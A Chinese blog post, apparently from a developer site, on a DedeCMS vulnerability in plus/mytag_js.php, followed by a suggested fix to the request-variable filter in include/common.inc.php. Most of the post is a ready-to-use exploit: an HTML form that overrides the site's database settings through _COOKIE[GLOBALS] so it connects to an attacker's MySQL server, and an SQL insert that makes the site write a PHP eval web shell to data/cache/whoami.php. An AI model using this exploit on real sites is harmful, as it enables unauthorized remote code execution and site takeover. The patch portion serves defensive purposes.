dedecms 最新漏洞 利用mytag_js上传文件

本文详细解析了一个DedeCMS的潜在安全漏洞,并提供了有效的修复方法。通过使用特定的PHP代码插入策略,攻击者可以获取敏感信息。文章重点介绍了如何通过修改核心文件来阻止外部变量的非法提交,确保网站安全。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 

制作文件 

  1. <form action="http://www.XXX.hk/plus/mytag_js.php?aid=2" method=post>
  2. <input type=text name="_COOKIE[GLOBALS][cfg_dbhost]" value="数据库ip"><br>
  3. <input type=text name="_COOKIE[GLOBALS][cfg_dbuser]" value="数据库用户名"><br>
  4. <input type=text name="_COOKIE[GLOBALS][cfg_dbpwd]" value="数据库密码"><br>
  5. <input type=text name="_COOKIE[GLOBALS][cfg_dbname]" value="数据库名字"><br>
  6. <input type=text name="_COOKIE[GLOBALS][cfg_dbprefix]" value="表前缀_"><br>
  7. <input type=text name="nocache" value="1"><br>
  8. <input type="submit" name='fuck' value='fuck'>
  9. </form>


然后在自己远程支持外链的mysql库中的表前缀_mytag 中插入insert into dede_mytag(aid,normbody) values(2,'{dede:php}$fp = @fopen(DEDEROOT."data/cache/whoami.php", ''a'');@fwrite($fp, ''<?php eval($_POST[whoami]) ?>'');echo "y";@fclose($fp);{/dede:php}{/dede:php}');然后用exp提交后会在data/cache/whoami.php 生成一句话 一句话密码whoami需要注意的地方就是当时挖出来的时候 测试了N久。。 最后才发现原来是浏览器的问题,用firefox打开exp提交就行了。

 

修复方法:这个漏洞主要的成因是dedecms没有判断外部提交的变量。暂时的修复方法找到include/common.inc.php文件,把
foreach($_REQUEST as $_k=>$_v)
{
var_dump($_k);
if( strlen($_k)>0 && preg_match(‘#^(cfg_|GLOBALS)#’,$_k) )
{
exit(‘Request var not allow!’);
}
}

换成

//检查和注册外部提交的变量
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match(‘#^(cfg_|GLOBALS)#’,$val) )
{
exit(‘Request var not allow!’);
}
}
}
CheckRequest($_REQUEST);

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值